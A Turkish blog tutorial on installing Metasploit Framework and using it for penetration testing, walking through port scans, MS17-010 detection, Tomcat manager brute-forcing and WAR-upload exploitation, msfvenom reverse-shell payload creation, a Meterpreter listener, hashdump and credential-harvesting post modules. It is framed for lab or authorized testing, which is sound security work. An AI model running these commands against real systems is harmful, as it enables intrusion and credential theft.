Metasploit Framework Kurulumu ve Temel Kullanımı

Sızma testi dünyasına adım atanların büyük çoğunluğu Metasploit’i ilk kez kurduğunda “acaba ne yapacağım şimdi” hissine kapılır. Arayüz açılır, msf6 > promptu sizi bekler ve siz de ekrana bakarsınız. Bu yazıyı tam olarak o noktadaki sysadmin’ler için yazdım. Hem kurulum sürecini adım adım ele alacağız, hem de gerçek dünya senaryolarında nasıl kullanıldığını göstereceğiz.

Metasploit Nedir ve Neden Önemlidir

Metasploit Framework, Rapid7 tarafından geliştirilen açık kaynaklı bir penetrasyon testi platformudur. Ama bunu sadece “exploit çalıştırma aracı” olarak düşünmek büyük hata. Sistem yöneticisi gözüyle bakarsanız, Metasploit aslında kendi altyapınızdaki zayıflıkları bulmak için kullanabileceğiniz güçlü bir araçtır. Saldırgan bakış açısıyla düşünmeden savunma yapılamaz, bu felsefeyi içselleştirdiyseniz Metasploit tam size göre.

Framework içinde binlerce modül bulunur. Bunlar exploit modülleri, auxiliary modüller, post-exploitation modülleri ve payload’lardan oluşur. Kendi lab ortamınızda test edeceğiniz bir senaryo düşünün: Yamansız bir Windows Server 2019 makinesi üzerinde ne kadar ileri gidebilirsiniz? İşte Metasploit bunu sistematik biçimde test etmenizi sağlar.

Önemli not: Bu yazıda anlatılan tüm teknikler yalnızca kendi lab ortamınızda veya izinli pentest süreçlerinde kullanılmalıdır. İzinsiz sistemlere saldırı Türkiye’de TCK kapsamında suçtur.

Kurulum Öncesi Hazırlık

Ben genellikle Metasploit’i doğrudan production ortama yakın bir makineye kurmam. Ayrı bir VM üzerinde çalışmak hem güvenli hem de temiz. Kali Linux kullanıyorsanız Metasploit zaten kurulu gelir, ama buraya “nasıl kurarım” sorusuyla gelen çoğu kişi Ubuntu veya Debian tabanlı bir sistem üzerinde çalışıyordur.

Sistem Gereksinimleri

  • Minimum 4 GB RAM (8 GB önerilir, özellikle msfdb çalışırken)
  • 10 GB boş disk alanı
  • 64-bit işletim sistemi
  • PostgreSQL (veritabanı bağlantısı olmadan da çalışır ama workspace özelliklerini kaybedersiniz)

Ubuntu/Debian Üzerine Kurulum

Rapid7’nin kendi installer script’ini kullanmak en temiz yol. Dağıtım bağımsız çalışır ve bağımlılıkları otomatik halleder:

# Önce curl ve gerekli araçları kontrol edelim
sudo apt update && sudo apt install -y curl gnupg2

# Rapid7 installer scriptini indir ve çalıştır
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall

chmod 755 msfinstall
sudo ./msfinstall

Kurulum tamamlandıktan sonra ilk çalıştırmada veritabanı başlatma işlemi gelecek. Bunu atlamayın:

# msfdb initialize ile PostgreSQL bağlantısını kurun
sudo msfdb init

# Ardından msfconsole'u başlatın
sudo msfconsole

İlk açılışta birkaç dakika sürebilir. Ruby gem’leri yükleniyor ve veritabanı şeması oluşturuluyor. Sabırsızlanmayın.

Kali Linux Güncelleme

Kali üzerinde çalışıyorsanız ve versiyon geride kalmışsa:

sudo apt update
sudo apt install -y metasploit-framework

# Servis olarak başlatmak için
sudo systemctl start postgresql
sudo msfdb init

msfconsole ile Tanışma

msfconsole açıldığında karşınıza gelen prompt msf6 > şeklindedir. Versiyona göre numara değişir. İlk yapmanız gereken veritabanı bağlantısını doğrulamak:

msf6 > db_status
[*] Connected to msf. Connection type: postgresql.

Eğer “not connected” görüyorsanız msfdb reinit komutunu deneyin. Bağlantı sağlandıktan sonra workspace kavramını öğrenin. Her pentest projesi için ayrı workspace açmak hayat kurtarır:

msf6 > workspace -a proje_sirket_abc
[*] Added workspace: proje_sirket_abc
msf6 > workspace proje_sirket_abc
[*] Workspace: proje_sirket_abc

Temel Komutlar ve Navigasyon

Konsol içinde en çok kullanacağınız komutlar şunlardır:

  • search: Modül aramak için kullanılır
  • use: Bir modülü seçmek için
  • info: Seçili modül hakkında detay gösterir
  • show options: Modülün ayarlanabilir parametrelerini listeler
  • set: Parametre değeri atamak için
  • run / exploit: Modülü çalıştırmak için
  • back: Önceki menüye dönmek için
  • sessions: Aktif oturumları listeler
  • help: Yardım menüsü

Örnek bir arama yapalım. Diyelim ki EternalBlue exploit’ini test etmek istiyorsunuz:

msf6 > search eternalblue

Matching Modules
================

   #  Name                                      Disclosure Date  Rank    Check  Description
   -  ----                                      ---------------  ----    -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       great   Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal  Yes    MS17-010 EternalBlue SMB Remote Windows Code Execution
   2  auxiliary/scanner/smb/smb_ms17_010        ...              normal  No     MS17-010 SMB RCE Detection

İlk Gerçek Senaryo: Ağ Keşfi

Metasploit’in en az konuşulan ama en değerli özelliklerinden biri auxiliary modülleridir. Exploit çalıştırmadan önce hedef ağı anlamak şart. Diyelim ki 192.168.1.0/24 ağını tarıyorsunuz:

msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 22,80,443,445,3389,8080
msf6 auxiliary(scanner/portscan/tcp) > set THREADS 50
msf6 auxiliary(scanner/portscan/tcp) > run

Bu tarama sonuçları otomatik olarak veritabanına kaydedilir. Daha sonra hosts ve services komutlarıyla erişebilirsiniz:

msf6 > hosts
msf6 > services
msf6 > services -p 445

SMB servisi açık olan makineleri buldunuz. Şimdi bu makinelerin MS17-010 zafiyetine sahip olup olmadığını kontrol edelim. Bu noktada exploit çalıştırmıyoruz, sadece tespit ediyoruz:

msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS file:/tmp/smb_hosts.txt
msf6 auxiliary(scanner/smb/smb_ms17_010) > set THREADS 10
msf6 auxiliary(scanner/smb/smb_ms17_010) > run

Dikkat edin, RHOSTS parametresine dosyadan okuma yapabiliyorsunuz. Uzun IP listelerinde çok işe yarıyor.

Payload Kavramı ve Meterpreter

Metasploit’te payload, başarılı exploit sonrasında hedef sistemde çalışacak kodu tanımlar. İki ana türü vardır:

  • Staged payload: İki aşamalı çalışır, önce küçük bir stub gönderilir, bu stub ana payload’ı indirir. windows/x64/meterpreter/reverse_tcp gibi / ile ayrılmış isimler staged payload’dır.
  • Stageless payload: Tek parça halinde gönderilir. windows/x64/meterpreter_reverse_tcp şeklinde _ ile ayrılır. Firewall’ın katı olduğu ortamlarda daha güvenilir.

Meterpreter ise Metasploit’in kendi gelişmiş payload sistemidir. Bellekte çalışır, diske yazılmaz, şifreli iletişim kurar. Bir Meterpreter oturumu aldığınızda yapabilecekleriniz:

meterpreter > sysinfo          # Sistem bilgisi
meterpreter > getuid           # Mevcut kullanıcı
meterpreter > getsystem        # Privilege escalation dene
meterpreter > hashdump         # SAM veritabanından hash çek
meterpreter > screenshot       # Ekran görüntüsü al
meterpreter > upload /local/path /remote/path   # Dosya yükle
meterpreter > download C:\file.txt /local/     # Dosya indir
meterpreter > shell            # Cmd shell aç

İkinci Senaryo: Web Uygulaması Testi

Sysadmin’lerin çoğu Metasploit’i sadece network-level exploit için düşünür. Oysa web uygulaması testlerinde de ciddi yeteneği vardır. Bir Apache Tomcat sunucusunda manager uygulaması açık kalmış, default credentials deneyelim:

msf6 > use auxiliary/scanner/http/tomcat_mgr_login
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS 192.168.1.100
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8080
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set STOP_ON_SUCCESS true
msf6 auxiliary(scanner/http/tomcat_mgr_login) > run

Credential buldunuz diyelim. Şimdi WAR dosyası deploy ederek shell alabiliriz:

msf6 > use exploit/multi/http/tomcat_mgr_upload
msf6 exploit(multi/http/tomcat_mgr_upload) > set RHOSTS 192.168.1.100
msf6 exploit(multi/http/tomcat_mgr_upload) > set RPORT 8080
msf6 exploit(multi/http/tomcat_mgr_upload) > set HttpUsername tomcat
msf6 exploit(multi/http/tomcat_mgr_upload) > set HttpPassword tomcat
msf6 exploit(multi/http/tomcat_mgr_upload) > set PAYLOAD java/meterpreter/reverse_tcp
msf6 exploit(multi/http/tomcat_mgr_upload) > set LHOST 192.168.1.50
msf6 exploit(multi/http/tomcat_mgr_upload) > run

Bu senaryo çok gerçek. Kurumsal ortamlarda test ederken Tomcat manager’ı açık ve default credentials ile bırakılmış onlarca sunucu gördüm. “Zaten iç ağda” mantığı savunma için yeterli değil.

msfvenom ile Özel Payload Oluşturma

msfvenom, msfconsole’dan bağımsız olarak payload üretmek için kullanılır. Sosyal mühendislik testlerinde veya fiziksel erişim senaryolarında işe yarar.

# Windows için reverse shell exe oluştur
msfvenom -p windows/x64/meterpreter/reverse_tcp 
  LHOST=192.168.1.50 
  LPORT=4444 
  -f exe 
  -o test_payload.exe

# Linux için ELF binary
msfvenom -p linux/x64/meterpreter/reverse_tcp 
  LHOST=192.168.1.50 
  LPORT=4444 
  -f elf 
  -o test_payload

# Python scripti olarak
msfvenom -p python/meterpreter/reverse_tcp 
  LHOST=192.168.1.50 
  LPORT=4444 
  -f raw 
  -o payload.py

Payload oluşturduktan sonra dinleyiciyi ayarlamanız gerekir:

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.50
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > set ExitOnSession false
msf6 exploit(multi/handler) > run -j

-j parametresi handler’ı arka planda çalıştırır, birden fazla bağlantı bekleyebilirsiniz.

Post-Exploitation Modülleri

Sistem erişimi aldıktan sonra ne yapılır? Gerçek bir saldırgan gibi düşünüp savunma açıklarını görmek için post modülleri kullanılır. Bir Windows makinede oturum açtıktan sonra:

# Oturumu background'a al
meterpreter > background

# Credential harvest
msf6 > use post/windows/gather/credentials/credential_collector
msf6 post(windows/gather/credentials/credential_collector) > set SESSION 1
msf6 post(windows/gather/credentials/credential_collector) > run

# Lokal kullanıcıları listele
msf6 > use post/windows/gather/enum_logged_on_users
msf6 post(windows/gather/enum_logged_on_users) > set SESSION 1
msf6 post(windows/gather/enum_logged_on_users) > run

Burada edinilen bilgiler raporlama için kritik. Müşteriye “şu sistemde yönetici erişimi aldım, credential harvest yaparak şu kullanıcı bilgilerine ulaştım” diyebilmek için kanıt toplamanız lazım.

Metasploit Veritabanı ve Raporlama

Pentest sürecinde toplanan tüm veriyi Metasploit otomatik kaydeder. Proje bitiminde bu veriyi dışa aktarabilirsiniz:

# XML formatında tüm workspace verisini dışa aktar
msf6 > db_export -f xml /tmp/pentest_rapor.xml

# Sadece credentials
msf6 > creds

# Bulunan zafiyetler
msf6 > vulns

# Notlar
msf6 > notes

Bu verilerle manuel rapor hazırlamak yerine, Dradis veya Faraday gibi araçlara import edebilirsiniz. Zamanınızı teknik çalışmaya değil, aktarma işlemine harcamak istemezsiniz.

Güvenlik Önlemleri ve Sorumluluk

Metasploit kullanırken bazı pratik güvenlik kuralları:

  • Lab ortamında hiçbir zaman internet erişimli payload listener çalıştırmayın
  • Payload’larınızı antivirus sistemlerinde test etmeden göndermek sizi tespit ettirir, bu bir öğrenme fırsatıdır aynı zamanda
  • msfconsole’u root ile çalıştırmak yerine, msfdb için gerekli izinleri ayrı bir servis kullanıcısına verin
  • Test ettiğiniz sistemlerde değişiklik yaptıysanız rollback planınız olsun
  • Her oturum sonrası loot, creds, notes çıktılarını yedekleyin

Sızma testi raporlarında “Metasploit ile exploit çalıştırdım” yazmak yeterli değildir. Hangi modül, hangi parameterlerle, hangi sonuçla çalıştı, bunu açık yazın. Hem sizi korur hem müşteriyi gerçekten bilgilendirir.

Framework’ü Güncel Tutmak

Metasploit modülleri sürekli güncellenir. Yeni CVE’ler için yeni modüller eklenir. Haftada en az bir kez güncelleme alışkanlığı edinin:

# msfconsole içinden
msf6 > msfupdate

# Sistem paketi olarak kurduysanız
sudo apt update && sudo apt upgrade metasploit-framework

# Git klonuyla çalışıyorsanız
cd /opt/metasploit-framework
git pull
bundle install

Sonuç

Metasploit, bir sistem yöneticisinin araç çantasında bulunması gereken nadir araçlardan biridir. Salt saldırı aracı olarak değil, “saldırgan benim sistemime ne yapabilir?” sorusunu cevaplamak için kullanmak asıl amacı. Kurulumdan başlayarak ağ keşfi, zafiyet tespiti, exploit çalıştırma ve post-exploitation aşamalarını gördük.

Bir sonraki adımınız kendi lab ortamınızı kurmak olmalı. Birkaç VM, bir host-only network ve biraz zaman ayırın. Metasploitable2 ya da VulnHub’dan savunmasız makineler indirin ve burada anlattıklarımızı uygulayın. Yazarak öğrenmek kadar yaparak öğrenmek yoktur. Konsola bakıp “ne yapacağım” dediğiniz günden “exploit tamamlandı” gördüğünüz güne kadar geçen süre, sysadmin kariyerinizde çok farklı bir perspektif kazandıracak.

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir